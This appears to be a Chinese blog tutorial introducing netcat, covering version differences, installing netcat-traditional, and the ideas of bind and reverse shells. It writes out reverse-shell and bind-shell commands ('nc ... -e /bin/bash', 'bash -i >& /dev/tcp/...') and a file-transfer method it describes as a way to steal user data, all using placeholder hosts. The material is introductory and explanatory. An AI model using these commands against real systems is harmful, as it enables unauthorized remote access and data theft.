NetCat简介

引言

在看一些博客之前,我一直纳闷NetCat是一只什么样的猫,居然可以被人称为瑞士军刀。莫非是一只来自瑞士的??于是,特意去网上查了查相关资料。以此整理,方便后续查阅和使用,同时方便一些新手用户入坑。

介绍

1.     netcat,我需要把它拆分成2部分来看,net  cat,在Linux环境下,我们常用cat出文件内容,因此,在网络环境下,加上一个net,与Linux环境进行区分。由此看来,(也被人称为nc,下文都用nc代替)是一款用于网上的,可以打印出内容的一个工具

2.   首先看看它一般的使用。得一提的就是,在的Ubuntukali macos都默安装nc,但是编译版本不一致,致某些命令参数无法通用。下Ubuntu kali macos nc帮助示:


NetCat简介_第1张图片


这3个系统环境下给出的nc options并不是完全一致,很明显的一个就是-e,在mac 和Ubuntu环境下都没有,但是在kali下有。我在拿虚拟机与实体机做测试时,正好碰到有关正向shell(BindShell)与反向shell(Inverse Shell)。以前自己还对于这个概念也是不太理解,顺便回顾下。

目前Ubuntu 16默认安装了nc,这款nc不是traditional,因此不带-e,若需要,可执行sudo apt-get installnetcat-traditional 然后执行 sudo update-alternatives –confignc ,再选择nc对应的执行文件,输入数字即可。

NetCat简介_第2张图片

有2台机器,攻击者A,受害者V,正向shell指攻击者A可以直接连接或者拿到V的shell权限,比如用某些开放服务的漏洞黑到该主机,拿到root权限,这种很容易理解;反向Shell指Shell回弹或者叫反射,就是说受害者V把自己的Shell挂载(或者叫attach更合适)到某个端口上,以此暴露到攻击者A可以连接的位置,攻击者A通过连接该端口最终拿到shell。2者最大的区别就在于正向shell应该是在拿到权限的基础上做的,反向shell是在没有拿到root权限,只是通过nc端口绑定shell的功能,实现shell反弹,补充一句,-e /bin/bash 或者-e cmd.exe 一般可以将shell反弹回攻击者A。

3.   常用功能总结:

a)      nc dst_hostname dst_port:nc实现连接到dst_host对应的dst_port上。在连接成功后,可以正常的输入一些该端口绑定服务所识别的命令。

GET /HTTP/1.0

b)     nc –l –p src_port:src_port开启侦听模式,等待连接。

nc –l –vp src_port < input_filename inputfilename与src_port绑定

nc dst_hostname dst_port > output_filename dst_port与outputfilename绑定

最终可以实现从input_filename转移到output_filename,这个过程可以帮助黑客偷走用户的一些关键资料。

这2个方向可以倒置,实现的功能就完全相仿了,黑客可以往用户目录传输一些文件。

c)      shell反弹

受害者V: nc dst_host dst_port –e  [cmd.exe|bin/bash|bin/zsh ]

攻击者A: nc –lvp src_port

攻击者开启监听模式,受害者绑定shell反弹给攻击者

d)     shell正向连接

受害者V:   nc -lvp src_port    –e [cmd.exe|bin/bash|bin/zsh]

攻击者A: nc dst_host dst_port

e)      受害者机器上没有netcat,仍然可以做到反弹:

攻击者A:nc –l –p src_port

受害者V:bash -i >& /dev/tcp/dst_host/dst_port0>&1

 


你可能感兴趣的:(Linux)